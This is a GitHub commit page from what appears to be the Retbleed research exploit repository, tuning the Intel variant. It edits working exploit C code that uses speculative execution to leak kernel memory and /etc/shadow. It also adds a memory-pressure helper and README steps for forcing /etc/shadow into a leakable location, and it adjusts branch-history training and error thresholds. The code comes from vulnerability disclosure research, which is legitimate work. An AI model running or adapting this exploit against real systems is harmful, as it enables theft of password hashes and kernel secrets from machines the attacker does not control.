Skip to content

Commit

Permalink
tweaks for intel
Browse files Browse the repository at this point in the history
  • Loading branch information
sktt committed Jun 23, 2022
1 parent 769e253 commit 84d67d9
Show file tree
Hide file tree
Showing 5 changed files with 108 additions and 19 deletions.
6 changes: 3 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -68,11 +68,11 @@ run ./break_kaslr on two threads on the same core. On a 6 core cpu it could be
`taskset -c 1,7 ./break_kaslr`. Then use `./do_retbleed.sh`

```
usage: ./do_retbleed.sh <kernel_text> [core_id=0] [leak_perf]
unless leak_perf is set (to anything), try to leak /etc/shadow
usage: ./do_retbleed.sh <kernel_text> [core_id=0] [--leak_perf]
unless --leak_perf is set (to anything), try to leak /etc/shadow
```

### Leaking /etc/shadow
Same as above, but omit the last arg, `leak_perf`. As shown in the demos, we can
Same as above, but omit the last arg, `--leak_perf`. As shown in the demos, we can
parallelize it to it faster.

71 changes: 71 additions & 0 deletions misc/mem_pressure.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

char mem_info[0x800];
#define PROT_RW (PROT_READ | PROT_WRITE)
#define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE)

unsigned long get_anon_huge(int fd) {
pread(fd, mem_info, sizeof(mem_info), 0);
return atoi(&strstr(mem_info, "AnonHugePages:")[sizeof("AnonHugePages: ")]);
}

unsigned long get_free_mem_kb(int fd) {
pread(fd, mem_info, sizeof(mem_info), 0);
return atoi(&strstr(mem_info, "MemFree:")[sizeof("MemFree: ")]);
}

unsigned long get_free_swap_kb(int fd) {
pread(fd, mem_info, sizeof(mem_info), 0);
return atoi(&strstr(mem_info, "SwapFree:")[sizeof("SwapFree: ")]);
}

unsigned long get_avail_kb(int fd) {
pread(fd, mem_info, sizeof(mem_info), 0);
return atoi(&strstr(mem_info,"MemAvailable:")[sizeof("MemAvailable: ")]);
}


#define map_or_die(...) do {\
if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\
} while(0)

#define ROUND_UP_GB(x) (((((x)-1) >> 30) + 1) << 30)
#define ROUND_DN_GB(x) (((x) >> 30) << 30)

int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
char *giga_range =(void *)0x44000000000UL;
char *mega_range =(void *)0x20000000000UL;

int pm_fd = open("/proc/self/pagemap", O_RDONLY);
int mi_fd = open("/proc/meminfo", O_RDONLY);

unsigned long freemem_kb = get_free_mem_kb(mi_fd);
unsigned long SZ = freemem_kb << 10;

map_or_die(
giga_range,
SZ,
PROT_RW,
(MAP_NORESERVE|MMAP_FLAGS)&~MAP_POPULATE, -1, 0);

madvise(giga_range, SZ, MADV_HUGEPAGE);
printf("Allocate %lu GB...\n", SZ>>30);
for (unsigned long a = 0; a < SZ; a += 1<<21) {
*(unsigned long *)&giga_range[a] = rand();
}
printf("%ld MiB remains. Fill with small pages\n", get_free_mem_kb(mi_fd)>>10);
map_or_die(mega_range, SZ, PROT_RW, (MAP_NORESERVE|MMAP_FLAGS)&~MAP_POPULATE, -1, 0);
long a;
for (a = 0; a < SZ; a += 0x1000) {
mega_range[a] = a;
}
return 0;
}
21 changes: 18 additions & 3 deletions retbleed_intel/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -85,9 +85,10 @@ Usage: ./retbleed --cpu1=<value> --cpu2=<value> --kbase=<kernel_base>
```

Sometimes Retbleed will not immediately lock on to the signal. We are not
sure about what the exact reason is. However, restarting it will eventually
result in getting a signal, hence we run it in a loop until it exits with a
without an error status:
sure about what the exact reason is, but it's likely that the kernel stack gets
allocated in an unfortunate location that were unable to evict. However,
restarting it will eventually result in getting a signal, hence we run it in a
loop until it exits with a without an error status:

```
/exploits$ ./do_retbleed.sh 0 0xffffffffa0600000 leak_perf
Expand All @@ -113,3 +114,17 @@ However, doing so will makd a partXof your RAM unusable.?????????6L1TF: Re
```

Sometimes it takes several minutes before it successfully starts to leak.


##### Leaking /etc/shadow does not work?
We've observed that occasionally /etc/shadow gets allocated in a problematic
location that for what ever reason is difficult to leak. To overcome this, evict
it from the page cache and put it back:

```
make -C ../misc/ mem_pressure
../misc/mem_pressure # kick it out
passwd -S # bring it back
```


2 changes: 1 addition & 1 deletion retbleed_intel/exploits/do_retbleed.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
set -e

if [ $# -lt 1 ]; then
echo "usage: $0 <kernel_text> [core_id=0] [leak_perf]"
echo "usage: $0 <kernel_text> [core_id=0] [--leak_perf]"
echo " unless leak_perf is set (to anything), try to leak /etc/shadow"
exit 1
fi
Expand Down
27 changes: 15 additions & 12 deletions retbleed_intel/exploits/retbleed.c
Original file line number Diff line number Diff line change
Expand Up @@ -93,10 +93,10 @@ static struct bhb_el bhb_ip6_send_skb_fast[] = {
};

static struct bhb_el bhb_ip6_send_skb_slow[] = {
//{ .src=0x100167, .dst=0x10016b }, // 0x100166 jne 0xffffffffaf90016b
/* { .src=0x100173, .dst=0x100130 }, // 0x10016f callq 0xffffffffaf900130 */
/* { .src=0x100144, .dst=0x1006b0 }, // 0x100140 callq 0xffffffffaf9006b0 */
/* { .src=0x10071c, .dst=0x100733 }, // 0x10071b jmp 0xffffffffaf900733 */
{ .src=0x100167, .dst=0x10016b }, // 0x100166 jne 0xffffffffaf90016b
{ .src=0x100173, .dst=0x100130 }, // 0x10016f callq 0xffffffffaf900130
{ .src=0x100144, .dst=0x1006b0 }, // 0x100140 callq 0xffffffffaf9006b0
{ .src=0x10071c, .dst=0x100733 }, // 0x10071b jmp 0xffffffffaf900733
{ .src=0x100751, .dst=0x074fb0 }, // 0x10074d callq 0xffffffffaf874fb0
{ .src=0x074fdc, .dst=0x100752 }, // 0x074fdc retq
{ .src=0x100755, .dst=0x100145 }, // 0x100755 retq
Expand Down Expand Up @@ -251,7 +251,7 @@ restart:;
return 0;
}

#define HIST_LEN 29
#define HIST_LEN 33
#define TRAINING_ASM(ret_path) __asm__(\
"mov %[retp], %%r10 \n\t"\
".rept " xstr(HIST_LEN+1) "\n\t"\
Expand Down Expand Up @@ -789,9 +789,9 @@ int do_retbleed(struct mem_info *rb, spec_prim_t *a, spec_prim_t *b, u64 secret_
}
// check that we still have actually have signal
int has_signal(struct mem_info *rb, spec_prim_t *a, spec_prim_t *b) {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) == -1) {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) == -1) {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) == -1) {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) != '3') {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) != '3') {
if (do_retbleed(rb, a, b, kernel_text+LEAK_START) != '3') {
return 0;
}
}
Expand All @@ -800,9 +800,9 @@ int has_signal(struct mem_info *rb, spec_prim_t *a, spec_prim_t *b) {
}


unsigned long find_shadow(struct mem_info *rb, spec_prim_t *a, spec_prim_t *b) {
unsigned long find_shadow(struct mem_info *rb, spec_prim_t *a, spec_prim_t *b, int start_block) {
u64 physmap_base = rb->kva - rb->pa;
int rnd = rand();
int rnd = start_block;
while (1) {
for (int q = 0; q < phys_blocks.nblocks; ++q) {
INFO("Find /etc/shadow... (block %03d/%03d)", (q+rnd)%phys_blocks.nblocks, phys_blocks.nblocks);
Expand Down Expand Up @@ -993,7 +993,10 @@ int main(int argc, char *argv[])
int nbytes = 1024;
if (leak_perf != 1) {
nbytes = 128;
leak_me = find_shadow(&rb, &spec_prim_a, &spec_prim_b);
#define ABS(x) ((x)<0?-(x):x)
int ncpus = ABS(cpu1-cpu2); // this is usually true..
int start_block = phys_blocks.nblocks * MIN(cpu1,cpu2) / ncpus;
leak_me = find_shadow(&rb, &spec_prim_a, &spec_prim_b, start_block);
}
u64 t0 = get_ms();
INFO("Leak %d bytes (Retbleed)... target=%lx\n", nbytes, leak_me);
Expand All @@ -1011,7 +1014,7 @@ int main(int argc, char *argv[])
printf("[%02x]", leaked);
}
}
if (errs > 40) {
if (errs > 1000) {
printf("\n");
ERROR("Too many errors\n");
return 1;
Expand Down

0 comments on commit 84d67d9

Please sign in to comment.